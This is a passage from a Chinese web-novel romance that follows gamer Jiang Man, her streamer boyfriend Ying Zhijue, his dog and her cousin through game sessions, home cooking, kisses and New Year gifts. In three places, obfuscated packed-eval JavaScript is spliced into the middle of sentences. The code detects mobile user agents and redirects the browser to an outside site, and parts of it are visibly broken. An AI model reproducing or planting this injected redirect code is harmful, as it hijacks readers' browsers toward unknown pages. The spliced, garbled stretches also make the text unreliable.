应之珏反倒成了那个被带的“妹”,现在才跟上她的步伐。 有了姜满清空弹夹的猛攻,四人编制直接被她打掉俩,应之珏压力缓解了不少,一个跳身躲避开子弹,精准击打淘汰了剩下两个敌人,一看弹夹,才用了区区十发子弹。 姜满没反应过来,依旧在对着吉普车攻击。 “姜满,你再打几枪,车就要炸了……” 话音未落,眼前冒烟儿的车果然“嘭”的一声,冒起熊熊大火。 应之珏笑出声来。 “……笑什么笑!” “我笑你厉害,盲打都能打死两只,这扩容弹夹跟你真是跟对人了。” 姜满看了看自己的备弹,已经来到了一个惊人的数字——零。她自己也不知道怎么就把一百五十发全打出去了。 应之珏又扔了一百发7.62子弹到她脚下。 “拿着吧突击手,不够打再和哥哥说。” 姜满傲娇道:“哼,算你识相。” “你就放心打吧,我当好你的物资兵。” 应之珏也不扫她的兴,而且说实话,他真觉得姜满不像她的ID人机妹所言这么呆,恢复训练手感熟练了以后,水平真的不低。 决赛圈没有再次幸运地套到他们头上,场上除了他们剩余还有三人,不知道是不是一个队的,他们决定谨慎些,绕着边进圈。 应之珏走了两步,却发现姜满没跟上来。 一回头,这丫头正趴在地上,像一条蛆一样扭动着身体,匍匐前进呢。 “毒圈就在你背后赶你哦,要是不站起来跑我可就把你扛起来,让你当活靶子了。” 姜满闻言赶紧站了起来,紧紧贴着应之珏跑进圈内。 这一路上十分安静,一点儿交战的声音都没有,两人也猜到剩下那三人大抵是一伙的。 不过很快,更糟糕的事情就发生了:最后这个圈缩在了一片麦田,没有房区可供容身,但植被茂密,只要不动就很难被发现,十分利于伏地。 “我现在可以向那边扔手雷轰炸吗?”姜满不敢轻举妄动,操作之前不忘先询问应之珏的意见。 应之珏哑然失笑。 ——这个姜满怎么这么乖啊,明明她想做什么就去做什么好了,他又不会怪她,反正他也会为她兜底的。 或许她需要直白的鼓励与肯定? “很有意识啊人机妹,你扔就行了!” 姜满得到首长的命令,立即化身轰炸机,开始向前方各个方向投射手榴弹,企图逼出敌人。 一声、两声、三声…… 应之珏看着遍地开花的麦田在爆炸过后留下的大大小小的坑洞,忍不住对着身旁仍做出抛投姿势的“人机妹”问出自己的疑惑:“你……拿了多少手雷……” “十二个,扔了五个了,还有七个。” 姜满嘴上回着他,手下也没停了动作。 应之珏简直要笑疯了——对面的敌人真是有福了,姜满为他们量身定制的轰炸区,这谁能扛得住啊? 果不其然,对面三人一个被姜满瞎猫碰上死耗子的无差别投射击倒,另外两个四散而逃,被应之珏捕捉到,直接两枪送走。 ——吃鸡了。 姜满还没这么激动,应之珏却笑个不停。 “你到底在笑什么。” 姜满控制“人机妹”拿起平底锅开始扇他。虽然对队友来说,这样的攻击造不成任何伤害,但是还是会显示被击打溅血的特效。 应之珏控制“哥哥不留余地”左闪右躲和她拉扯着,边躲着边继续带着笑意说:“和你玩,哥哥开心,笑笑还不行了吗?你要不爱听,把我麦屏蔽了不就好了。” 姜满一愣,不再进行挥锅动作,却把应之珏吓得不轻:“……真听不见我说话了?我错了,不笑了不笑了。” 他做出跪地求饶的姿势,恳求姜满原谅。 “没生气。我要洗漱睡觉了。” 应之珏也不再逗她:“去吧去吧,那我也准备开直播了。” 他俯身用手指去勾电脑的开机键,耳边却响起姜满的告别:“拜拜,晚安,哥哥。” 姜满的尾音短促,生怕被人听见一样,说完就火速下线。 只留屏幕这边的应之珏又失了神,指尖划过按键,留下一道指甲的划痕。 …… 第二天,姜满拎着两个大行李箱就来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571816|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了苏越的小窝。 苏越帮她把箱子接进屋里来,被沉得打了一个踉跄。 “满满,姨夫姨妈家,该不会只剩下承重墙了吧……” 姜满神清气爽,心情舒畅,手下的行李箱一点儿也觉不出沉来。她在客厅就拉开了箱子平铺开,向苏越展示她的家当——一个小小的电煮锅,一个小平底锅,甚至还带了一个空气炸锅? 她一边把这些电器厨具放到厨房,一边对着苏越家空荡荡的台面庆幸道:“多亏我记得带上趁手的,不然你这空空如也的厨房,我都没法施展拳脚了。” 苏越诧异:“满满,你真要给我做饭啊?我当时只是说说而已的。” 姜满伸出食指,故作深沉地左右摆了摆:“我才不白住呢。况且我巴不得能有做饭的机会。你呀,就按照你的计划学你的习好了,有想吃的可以提前和我说,没那个脑子想呢,就看我安排。” “好了!现在本大厨要开始备餐了,闲杂人等速速撤退,快去学习,不要影响我工作!”姜满双手撑在苏越肩头,推着她进了屋。 苏越还不放心,又打开房门探出头嘱咐了一句:“做饭的时候小心一点满满。” 姜满催苏越快去学习,不用担心她。 围上新买的小围裙,把手放在水龙头下仔细清洗着。潺潺的水流和洗菜池旁边飞溅出的水滴,都被从明亮的窗口斜斜射进来的阳光映出了光芒。 ——姐姐中午不能吃太多碳水,不然下午晕碳容易困,就学不进去了。但是又不能不吃主食,要不然消化太快,肚子瘪瘪,也没精神动脑子了。 她翻了翻厨房里的食材,姨夫姨妈给姐姐准备的全是洁白无瑕的长粒大香米,不过也只是刚拆开袋子,估计苏越也没怎么自己蒸过米饭。 她挖了小半碗大米,又掺了等量的黑米和燕麦粒,扔电饭煲里准备蒸一碗杂粮饭。 过了一会儿叫的外卖也到了,她又从新来的外卖袋子里拿出两个红薯细感觉扔了进去一块蒸。 饭准备好了,接下来就需要一个下饭菜。姜满从充氧袋里解救出了还在扑腾着小腿的基围虾,把它们悉数倒入不锈钢盆中。 又想了想,姐姐肯定也懒得剥皮,她索性三下五除二把它们的盔甲卸去,成了光溜溜黏糊糊的虾仁。 用她从家里带来的平底锅熟练地热油,当底面的油开始冒起小气泡来,姜满小心翼翼地把裹满薄薄一层淀粉的虾仁送入油锅,静待它们生成一层金黄酥脆的外壳。 第一遍炸完,姜满先把它们盛出来放在一边晾着。 冷冷的天,还得喝点热乎乎带汤的才舒服。 于是拿出娃娃菜,清洗干净后层层叠叠铺入小电煮锅,放上刚刚外卖来的菌类合集,撒了几粒盐,直接插上电开小火让它自己咕嘟去了。 然后又回到灶台前开始调料汁——两大勺番茄酱、一大勺醋、一大勺糖、小半勺耗油再加点水一搅和,和复炸完成的焦脆虾仁回锅来个亲密接触,番茄糖醋虾球就这么做好了。 这个一出锅,那边的汤的鲜香也不住地冒了出来。 这一小锅汤姜满没放一滴水,而现在锅里满满的汤汁都是菜叶梆子和各种菌类里贮存、满满焖出来的,自然是鲜甜无比。 姜满看了看时间,苏越此刻应该还在题海中奋战,她怕打扰她的思绪就没叫她。 转而给应之珏发了条消息:“醒了没懒猪,我中午做饭做多了,赏给你点,自己过来拿。” ——做没做多、是不是故意的、想来只有认真清点过食材数量、还提前准备了饭盒带过来的姜满才知道。 26. 夺舍 手机屏幕亮起,应之王作为得力小助手直接就把昏睡的应之珏拱醒,还贴心的拉开窗帘一角让阳光洒进来。 应之珏看见消息一下子清醒过来,但是也有点怀疑:“鸿门宴吗,我能活着从你家走出来吗?” 姜满给她把姐姐家的定位发了过去,解释道:“我这两天搬姐姐家住了。快点来哦,要不一会儿凉了。” 姜满细心地打包好,正巧苏越这时也结束了上午的学习,一脸生无可恋地走出了书房。 不过她的面部表情在看到餐桌上喷喷香的饭菜时一下又恢复了生气。 “满满!这都是你做的吗?” “那当然啦。见你学习没敢干扰你,不过你出来的正巧,还热乎着呢,快吃吧。” 姜满用小碗给她盛出糙米饭,又拿了个碗盛了碗原汁原味的热汤。 看着姐姐脸上洋溢出的满满幸福感,姜满忍不住笑了。 苏越大快朵颐,却不免疑惑道:“满满你快坐下吃呀,还是你已经吃过了?” 姜满看到手机上应之珏发来“我到了,求投喂”的消息,换上鞋拿起饭盒冲姜满挥了挥,“下楼送个外卖,你先吃,锅里还有!” 苏越看着妹妹恢复了往日的活力,蹦蹦跳跳的像一只小兔子,也不知道是做饭给她带来的成就感还是爱情给她注入的兴奋剂,亦或是两者都有。 不过不管是什么原因,苏越送入口中的勺子都被弯弯抿起的嘴角所勾住了。 …… “就这么一会儿,你怎么把它也带上了。” 姜满蹲在地上感受着应之王热情的拥抱。 “它比我没见到你的时间还要长,肯定很想你。” 姜满把手中的饭盒递给他:“回去趁热吃哦,我姐还在家里等我呢。” 应之珏笑得很温柔:“我知道了。不过……” “不过什么?”大力抚摸着应之王的姜满抬起头来不明所以。 应之珏往前走了两步,委委屈屈地说:“你怎么和我的距离,比在游戏里还要远啊。” 姜满小脸一红。 “游戏里和现实中怎么能一样啊,我在游戏里还拿平底锅扇你呢,你要不要我现在上楼去拿道具啊?” “别着急,别着急,不逗你了。那我回去了?” 姜满此刻又不想他走了。 她从衣袖中伸出两个手指捏住应之珏外套拉链的底端,轻轻的把他往自己的方向拽了一下,小声说了句:“……抱抱再走。” 应之珏暗爽,但他就是忍不住地要犯贱:“你说什么?哥哥没听清。” 他故意向下俯身凑向姜满的脸,近到甚至能感受到她翘毛的刘海戳在了自己脸上。 姜满知道这个应之珏又在套路她——枪声脚步声听的门儿清,怎么可能听不见近在咫尺的她说的话! 她伸出双手揽过应之珏的脖子,把他的头继续往下压,顺势踮起脚尖,让自己正好到达可以在他耳边说话的位置。 她默默清了清嗓子,气沉丹田地说了一句:“我说,赶紧滚吧。” 应之珏不乐意了:“你刚刚可不是这么说的。” “那你听见了还问!小学鸡。” 姜满后撤一步,叉着腰看他。 应之珏见“坏”就收,一个箭步上前就把她紧紧搂在怀里。 姜满只感觉他怀里热热的。 ……贴的太近了,还能听见砰砰的心跳声。 姜满没再掩饰自己的内心,即刻环住了应之珏的腰,还把头往他怀里蹭了蹭。 应之珏感受到怀中人儿的颤动,心也跟着微微一颤,大脑已经完全无法正常运转,只有一个想法一直在萦绕——离她近一点……再近一点…… 当他反应过来时,自己已经在姜满额头印下了一个浅浅淡淡的吻。 这个吻就算再轻,但凡触觉功能没有问题的正常人类,都能够感受到。 姜满无疑也意识到了那温热柔软的触感代表着什么,她紧张地攥住了应之珏的衣角。 应之珏装模作样地上手整理了一通姜满的刘海,恶作剧似的吹了吹,又拍了拍仍紧抓着自己外套的小手:“快回去吃饭了,不然真要凉了。” 姜满点点头,把头埋在领子里转头要走,又像是想起了什么,突然扭回来,抓住应之珏的衣领,对准他的颈侧狠狠地亲了上去。 ……力度没把握好,牙磕到了他的骨头上。 不过姜满来不及在意这些,捂着嘴直接跑远了。 “……诶!” 应之珏望向她跑得也不顺畅的背影,想叫住她,最终摸了摸自己颈侧的下颌骨,倒吸一口凉气——力的作用是相互的,他感觉这冲击力不小,姜满有没有撞疼啊? 姜满一溜烟跑回了家,此时苏越已经吃完了,正在收拾碗筷。 她以过来人的眼光饶有兴致地打量着靠在门上,捂着脸微微喘气的妹妹,八卦地笑了起来。 “我都吃完了,满满你怎么才~回~来~呀~” 姜满看看地面,又看看天花板,看看鞋柜,又看看餐桌——她终于找到了着陆点,走过去顺手就把苏越手里的碗接了过来:“吃饱了?吃饱了就赶紧回去学习,收拾的活交给我。” 看着姜满像个陀螺一样在餐桌与厨房之间转悠,水龙头的水一直没有停止流动过,她忍不住出声提醒:“那个……满满啊,你手里那个我刚刚吃饭用的碗,我没看错的话,这应该是你洗的第三遍了……” 姜满有些恼羞成怒:“都说了快去学习!要不我妈又要说我给你添麻烦,连夜就把我押送回去了!” “好好好,好好好,你慢慢洗吧满满。锅里的别忘吃了啊,可别顺手也刷了。” 苏越知道这丫头激不得,转身进屋带上了房门,感慨着热恋期就是如此甜甜蜜蜜使人头昏目眩啊。 姜满听见“咔嚓”一声,强装镇定的防备才在刹那间卸了下来。 “哎呀羞死了羞死了,我脑子是被应之王踹了吗,还是得了狂犬病啊,怎么像只狗一样不管不顾地啃上去了!” 那边的应之珏也刚刚平复下心情。 他一直坐在车里没敢开车,怕晕头转向的再闯了红灯或是走错路。应之王在副驾驶坐烦了,甚至开始伸出爪子往手刹上放。 不过这爪子很快就被应之珏发现并打掉了。 “应之王,你要成精是不是啊?” 应之珏不可置信地看着这只端坐在位置上的大白狗。 深呼吸,把手撑在方向盘上舒展了一下筋骨,应之珏打开导航。 “好了好了别急了,哥哥这就带你回家了。” 应之珏安全到家后,美美品鉴起这份色香味俱全的爱心盒饭,一吃又难免想起来姜满红扑扑的脸和跑不稳的背影。 盖上盖子,他坐在沙发上摸着下巴不断回味着。 应之王歪头看着他,不知道他是在回忆酱汁浓厚的糖醋虾、还是自然鲜甜的菌菇娃娃菜汤。 答案当然不能从应之王眼巴巴馋着却吃不到的食物里面找啦,它算是不知道它哥其实是对那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574482|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个突如其来的吻牵走了魂儿呢。 “……跑什么,哥哥又不会吃了你。下次别这么着急了,摔倒了我都扶不到你。” 姜满刚冲了凉水才降下来的红温,被应之珏一条消息又轻而易举地激了回去。 “不好意思啊,那时候被应之王上身了。” 应之珏笑倒在应之王身上。他伸手挠了挠这呆呆狗的下巴,“真的吗应之王,你嫂子说你被夺舍了诶。” “什么时候被上身的?向我冲过来的时候,还是冲回家的时候?” “弟弟对哥哥有这种冲动的亲密举动的话……那简直是倒反天罡啊!” 姜满的手都要在键盘上冒出火星来了:“要想不倒反天罡,下次你就再主动一点不就行了。” 应之珏握拳捂嘴,轻笑出声。“哥哥知道了。以后不会再把你惹跑了。” 俗话说,过了腊八就是年。这不,腊八节当天,姜满就让苏越从大早上就体验到了浓浓的节日气氛。 本来姜满是不管早餐的,一是因为她没法像已经定好学习生物钟的苏越一样起得这么早,二是因为苏越早早就屯了几箱子各类的面包当早饭,不吃也浪费了。 今天不一样——她起床洗脸想醒醒神的时候,却发现平常像只小猫一样蜷缩在她身侧的姜满已经消失了。 苏越走到客厅,看见姜满正在电饭煲面前坐着玩手机。 “醒啦?正好来喝个我的创新腊八粥,开启暖暖的一天吧!” 姜满摁下开启键,电饭煲的盖“ber”一声弹了起来,刹那间散发出一股浓浓的奶香和谷物香混合的浓厚气味。 姜满只放了几小勺大米,怕苏越早上没胃口吃不动,大量添加了红豆、薏米、黑米。没添一滴水,倒了两盒鲜牛奶进去;没放一点糖,但是在煮好后加上了桂圆干、葡萄干、枸杞、红枣进去焖了十分钟,这样能把这几种干燥过的食材由外至里全部焖软,还不会使糖分流失。 舀到碗里以后,又在表面浇了一圈蜂蜜。 苏越把手放在小碗两侧,刚从电饭煲保温模式出来的浓稠粥体还是滚烫的,正好可以给她暖手。用小勺沿着碗边取了一勺在唇边吹凉,她迫不及待地在姜满的星星眼注视下吞了下去。 好好喝……不对,应该说好好吃——像升级版的加满小料的奶茶,又像是一碗健康的古法糖水甜品,总之就是一直吃也不会腻的味道。 而且因为桂圆干、葡萄干、枸杞、红枣自带的甜分还蕴藏在它们的本体里,所以吃的时候还像挖宝一样有惊喜。 姜满见苏越吃得开心,这才有空去洗漱把没扣干净的眼屎彻彻底底地清理掉——她怕来不及赶不上苏越学习之前就能吃上,起床的步骤可谓是能省则省。 这天晚上姜母给苏越来了电话,问姜满打算什么时候回家过年。 姜满坐在沙发另一头撅了撅嘴小声吐槽着:“……那为啥不直接打电话问我啊。” 苏越拆开一包薯片递到姜满面前,依旧耐心地安抚这个处于“叛逆期”看什么也不顺眼的妹妹:“这不是怕你觉得又被控制了吗?所以还是给你个畅所欲言选择的机会咯。” 姜满努努嘴,“最好是啊,就怕是觉得我不说实话,所以故意找你来打探我的生活作风。”她接过薯片,瘫在沙发边角开始嘎吱嘎吱嚼起来,像是在宣泄一样。 “不过我这样粘着你,你不会烦吧?” 苏越实话实说:“不仅不烦,我还想留你给我做年夜饭吃呢。” 姜满被逗笑了:“美得你!” 27. 空投 姐妹二人聊了会天,苏越又回屋开启了晚间学习。 姜满百无聊赖地开始刷起了手机,看到宿舍群里在讨论整理期末复习资料的计划。 以往这种需要背诵的专业课,她们都是每人负责一两个章节,最后齐心协力汇集成一份完整的。 “臭姜满,你倒是溜溜球了,留我们在这分配不均了。” 姜满一被这群小姑娘骂就很开心,因为她知道她们不是恶意的,这种被人时刻在意的感觉,她还蛮喜欢的。 “怎么这就要期末了,这学期过得也好快啊。” 姜满加入她们的聊天。 “你在家当然觉得快了!唉,不过确实,转眼就要过年了。” “过年也挺好的呀,反正还是学生,还能继续收红包嘿嘿嘿。” “你们家居然还发红包吗?我爸妈都说我长大了所以就不发了,不过可以向他们提出一个新年礼物的诉求。” “有礼物就不错了!换个新手机不比红包强!” …… 小姑娘们你一言我一语,叽叽喳喳的开始展望着即将到来的新年,全然把刚刚商定的复习计划抛在了脑后。 姜满的思绪也随之游离。 新年……礼物…… 她想给应之珏和应之王都准备一份,感谢他们在过去的那一年里跌跌撞撞地闯进了自己的生活。 应之王的很好办,她早就想给它买一个可以自己玩的玩具,就是那种能把食物放在里面,让狗狗循着味道自己扒翻出来的那种。既有趣味,还可以锻炼应之王的智商,最重要的是可以在应之珏昏睡的时候让它自己打发时间,不会太无聊。 但是给应之珏送什么呢…… 姜满着实犯了难。 键盘、耳机之类的直播设备?她不太懂,怕买了他不习惯用,而且估计应之珏早就已经给自己换上顶配的了。 围巾、手绳之类的手工礼物? 心意是有的,但她觉得不太实用。 大过年的,姜满就是想送一点接下来一年应之珏都能用的上的、确实需要的物件。 有了! 姜满灵机一动。 ——他整天直播要盯着手机还有电脑屏幕上的弹幕,用眼量太大了,所以她准备给他买个眼部按摩仪。 挑选了一阵,她把一个体积不是很大、比较轻盈、还具备雾化热敷功能的按摩仪加入了购物车,和刚刚的狗狗玩具一起下单,在家坐等快递的到来。 …… 时间很快就来到了小年,这是姜满与父母约定的回家最后期限——姜母说她大过年的赖在姐姐家不回自己家,让姐姐不方便也就算了,传出去让别人笑话。 姜满懒得喷,心里却不住地顶着嘴:“谁笑话?到底是谁在笑话你啊?其实根本无人在意好吗!” 姜满上午就收拾好了行李,打了辆车搬回了家。 今天是工作日,父母都不在家,她打算趁这个机会下午再见一次应之珏,毕竟过两天父母一放假,整日待在家里她就不好出去了,下次见面估计就得是年后了。 姜满拿了个大袋子提着给这哥俩准备的礼物,却不料怎么也联系不上应之珏。 她看了看表,估摸着这大哥百分之九十九是又昏睡过去了。 可是时间不等人,姜满怕再拖爸爸妈妈就回来了,她的新年礼物就送不出去了。 于是她打算直接登堂入室。 伴随着一阵劲爆的敲门声和欢快的狗吠声,应之珏被吵得眼睛就算睁不开,也得睁开了。 他拿起手机想看看几点,却发现不知何时已经因为告急的电量而关机了。 应之珏拍拍脸去开门。 “大主播我来给你送新年礼物了。” 姜满不在乎眼前这人一副刚睡醒的懵逼样,直接伸开手一头扎进了他怀里。 应之珏以为自己还在梦里呢。 等等等等,怎么一开门就冒出来个姜满投怀送抱啊。 他无奈地低声笑了笑,开始在乎起自己的仪容仪表:“我……我还没洗漱呢……” 姜满被应之珏拉进客厅坐下,“你先和应之王玩着点,我去刷个牙洗个脸。” 实则这个应之珏不止是溜回屋洗漱了,还开始布置早已给姜满准备好的礼物。 “应之王你过来下。” 应之珏说着让姜满先和应之王玩一会,却又把应之王叫进了屋。 姜满盯着应之王一扭一扭的大腚和随意摆动的毛尾,有些疑惑。 “姜满,你叫它过去吧。” 应之珏把绳子系到应之王身上,然后靠在门框上,冲她扬了扬下巴,一副志在必得、很有把握的样子。 拍了拍手,还没等名字叫出口,应之王就按捺不住地像姜满冲了过来,背后拖着一个……空投箱? 是了,四方的盒子,蓝蓝的盖子,红红的箱体,连不玩游戏的人都能认出来,这就是完美复刻的吃鸡里面的空投箱啊! “恭喜‘人机妹’召唤了空投。” 应之珏笑着走过来,和应之王一样蹲在沙发下面,从姜满的角度看,那瘦瘦高高的一条人蜷缩起来,现在竟然和那只大狗别无二致。 姜满解开绳子,把空投箱放到自己腿上。 嘶……咋这么沉? 姜满没做好心理准备,把箱子抬起来的时候被坠了一下,差点没拿稳。多亏应之珏的一只大手迅速拖住了箱底。 “你平常,在游戏里,开空投是举起来开的?” 姜满吐了吐舌头,不好意思地嘿嘿一笑:“谁知道你这这么写实呢……况且我一般没这么贪,很少捡空投,好不容易鼓足勇气捡一回,基本上也是还没捂热乎就狗带了。” “你们的作战神器,落到了不该属于的人手里,完全就变成了催命符好吧。” 应之珏被姜满这叭叭不停,又委屈听起来又搞笑的诉苦逗乐了,安抚道:“好了好了,没想到空投给你带来了如此惨痛的阴影啊,哥哥的错。” 打开盒子,姜满发现其中是她心心念念的某知名品牌揉面机,还有一个崭新的是多功能电烤盘——这是对于一个小厨娘来说再好不过的礼物了! 还有一个……红包? 姜满看到了,但没伸手去拿。 她心底里很抗拒这种直来直往的现金,尽管她知道应之珏或许就是臭直男不知道送什么好,怕亏待自己才给钱的,可她因为从小到大经济不独立而被父母当作理由一直管控着的例子实在是数不胜数,下意识地就把“收钱”和“要听话”挂上了勾。 “压岁钱怎么没拿啊?”应之珏提醒她。 姜满拒绝了:“钱就不要了,我够花的……” 话音未落,被应之珏直接塞到她手中,重量和大小都有些不对劲儿,硬硬的轻飘飘的红包打断了。 “不是钱啊,你先打开看看嘛。” 应之珏满怀期待,哄着她打开看看。 姜满好奇地拆开—— 超市储值卡?成年人的恋爱礼物就是不花里胡哨,如此务实的吗? 她没下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576740|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是诧异地看着用手撑着脸,笑意盈盈仰头看着她的应之珏。 应之珏担心她不好意思收下,特地补充道:“你召唤的空投,物资就是你的了,可不能退货喔。” “实话说,卡是我从爸妈那顺来的,我看这家超市离你现在住的地方比较近,就给你挑了这两张,你准备食材就正好用上了。” 姜满心中一排乌鸦飞过。 ……哥们儿你爸妈知道你这么吃里扒外吗? “来吧,让哥哥看看我的礼物是什么?” “给应之王的刚刚已经拆开让它玩了,你可以把零食塞进那个洞里,然后让它自己去消磨时间,”姜满指了指地上已经被应之王撕咬过的那个大玩具,然后拿起另一个盒子开始拆,“这个是给你的,你直播完以后可以戴上休息休息眼睛,会更舒服一点。” 姜满拿出像眼罩形状一样的按摩仪来,摆在自己眼前给应之珏示意着。 应之珏坏笑了一下,计上心头:“你戴上给我演示一下呗。” “我?” “嗯嗯,我戴上就看不见怎么操作了呀。” 姜满觉得应之珏说的有道理,于是顺从地戴上了按摩仪,把脑后的抽绳拉紧,牢牢地固定到了自己头上,伸手摸着侧边的按键,想要给应之珏一一演示一番。 刚想按下第一个按键,姜满的手却被抓住抬了起来,和另一只胳膊一起,双手的手腕被轻轻扣住。 “你干什么……” 尾音被覆上的唇瓣所压住,咽回了肚里。 姜满眼前一片漆黑,什么也看不见,手又被钳制住了,所以整个身子都僵硬着无所适从。 直到应之珏蜻蜓点水地吻了几下后,发现姜满呆呆地像一座雕塑一样,他转向她的耳边,轻声提醒道:“回应一下啊,妹妹。” 应之珏刚睡醒的声音还有点哑,不同于平日里清朗的少年音色,这声提醒里暗含了些细细小小的磨砂颗粒感,和呼出的气息相辅相成,在姜满的耳边挠着痒。 最主要的感官——视觉消失后,姜满没有可以依靠的地方,不自觉地蜷缩起手指。 感受到了姜满的紧张,应之珏觉得自己好像确实有些过火了,别再把小姑娘吓跑了。 于是扣着她手腕的手松开,寻到她脑后,轻轻解开了眼部按摩仪。 姜满的感受到久违的光亮,眯着眼试探性地打量着。 应之珏心急地把悬在两人中间、碍事的按摩仪抽走放在一边,大拇指搭在姜满下唇,食指横向抵着下巴微微往上抬,使她贝齿微露。 “唔……” 姜满感觉自己要喘不过来气了,呼吸都被他把控着。这次不是若即若离的轻吻了,而是印上就不肯离开。 应之珏像是在游戏里看到了敌人的身影,即使就漏出一刹便躲到掩体后面,作为最合格的猎人,被他盯上了就不会再放过。 其实他也没有表面上这么得心应手,从第一个吻开始就已经气血上涌,一股脑全冲到了头顶。 可毕竟上次姜满都暗示他要主动一些了,临阵脱逃可不是他的风格。 这个毫无章法的深吻过去,应之珏刚刚纯靠腰力俯身的动作彻底支撑不住了,一下子跪坐在沙发上,把头搭在姜满肩上。 姜满正被亲得迷迷糊糊呢,一睁眼,刚刚还扣着她后脑勺不让她跑的那位,此刻怎么和那只大萨摩耶一样靠在自己肩头啊? 她鬼迷心窍地像摸应之王一样,手动梳着应之珏柔软顺滑的细毛,小声吐槽:“腰力很一般啊,不大行?” 28. 疫苗 应之珏一愣,男人不能说不行! 但是姜满好像还挺享受他靠在她身上的。算了,她爱玩什么梗就玩什么梗,随她去了。 又想起上次姜满主动亲自己,还说她是被应之王上身了的鬼话,抓住她抚摸自己头发的手,转过身来躺在她肩头,直直的盯着她:“给我顺毛吗?可是我是应之珏,没有被应之王上身诶。” 这人这么记仇呢? 姜满随手拽了拽他的一撮头发,“没区别。你也是狗。” 应之珏不说话,只是一个劲儿地咧嘴,和在一旁对着玩具自娱自乐的应之王简直就是一个模子里刻出来的笑脸。 ……大臭狗应之珏。 “行了,”姜满怕被父母发现行李回来了但是人不在,拍拍应之珏示意他起来,“我要先走了,去卫生所打个针,要不过年人家放假了。” 应之珏听罢,瞬间弹射起身,笑意荡然无存,担心地靠近她打量着有什么不对劲,“打针?你怎么了?我陪你去。” 看着这一大只人这里看看那里瞅瞅,像只嗅着味道的大狗,姜满没憋住,笑了。 “当然是要打针了,刚刚被狗咬了,不得赶紧打一针狂犬疫苗啊。” …… 应之珏眉毛抽搐了一下。 “又戏耍哥哥呢姜满?别打狂犬疫苗了,我把肾上腺素都给你,让你打个够行不行?” 应之珏说的肾上腺素是吃鸡里一个非常强力但稀有的医疗道具,主要作用是瞬间回满你的能量条,健康值会以最快速度自动恢复,移动速度也会显著增加。 他一提起游戏,姜满便心领神会:“过年这几天,想我的话,我们就海岛见好了。” 应之珏没强求她出来,点了点头,“好,新年快乐,姜满。” “新年快乐——”姜满蹲下来,正好闪开了应之珏的怀抱,抱紧给她道别的应之王,让他扑了个空。 ……行,姜满,你好样的。 ……应之王,你也好样的,没看见哥哥和姐姐争浓情蜜意中吗?不赶紧躲远一点儿,吸引了姐姐的注意力,真是没眼色! 他望着姜满渐渐离去慢慢变小的背影,感觉自己化作了一座望妻石,应之王用爪子勾他,他才反应过来自己已经在屋外站了许久。 …… 新年到,虽然城市里的年味儿越来越淡了,但总归是和往日不一样的。 姜父姜母嘴上说她每天都在家,又没去上学,不用多少花销,可最终还是在除夕夜给她转了不小的数额作为压岁钱,美其名曰是对姜满回家这几天变懂事儿了的奖励。 姜满这几天确实没和父母起冲突。 或许是恋情转为地下,并没有被他们的阻挠而破灭,所以也没有什么怨气;也有可能,是她知道过了年,春天又要到了,不下雪天气不大冷的日子,她又可以重拾线上送餐小程序了。 怀揣着希望与憧憬,自然看什么都变得顺眼起来。 姜满也不“挑战”家里这二老的权威了,他们喜欢吃啥就吃啥呗,看不上自己做的就看不上呗。在自己家她也不搞什么创新菜系了,学会了见人做人菜见鬼做鬼菜,省得吃力不讨好。 不过你别说,姜满抛却了在父母面前急于展现自己、说服他们的执念后,和他们的相处反倒是融洽了起来,这也算是意外之喜了。 姜满就这样美滋滋用应之珏给她的“空投”以及父母嘴硬心软的转账进行了一番消费:一套极具设计感的崭新餐具、一个电动搅拌器,还屯了一些厚厚的厨房用纸,全都不假思索地寄到了姐姐那里——毕竟她的厨具全都放在那没拿回来,等待着年一过,她就继续转回主战场。 应之珏也带着应之王转移了阵地,应父应母对主动赔笑示好的二宝爱不释手,难免冷落了提了满手礼品的应之珏。 “我说……能不能别这么偏心……” 应之珏把带的东西都归置在客厅一角,幽幽地抗议。 应父见应母抱着应之王亲得不行,自己也插不进手去,于是退而求其次,走过来拍了拍应之珏的肩,惊了一下:“嚯,咱家小玉臂膀怎么坚实了许多?”他又捏了捏应之珏的胳膊,发现儿子好像确实长了些肌肉。 哪有父母对孩子的身体健康不关心的呢? 应母听闻也凑过来对着应之珏捏来捏去的,“还真是,果然让二宝和你住一块是对的,这不还带动你运动了呢!”她觉得自己当时的决定简直是无比的明智。 “行了行了,赶紧开饭吧。” 应之珏可不是应之王,已经习惯了被人视作掌上明珠,他一大小伙子,被父母围在中间还是有点局促的。 “好好好,开饭!不过要先给我们二宝开个罐头奖励它带哥哥健康起来了!” 应母边说边招呼着应之王来吃肉肉,又控制不住地把手伸进它厚厚的毛里揉了揉。 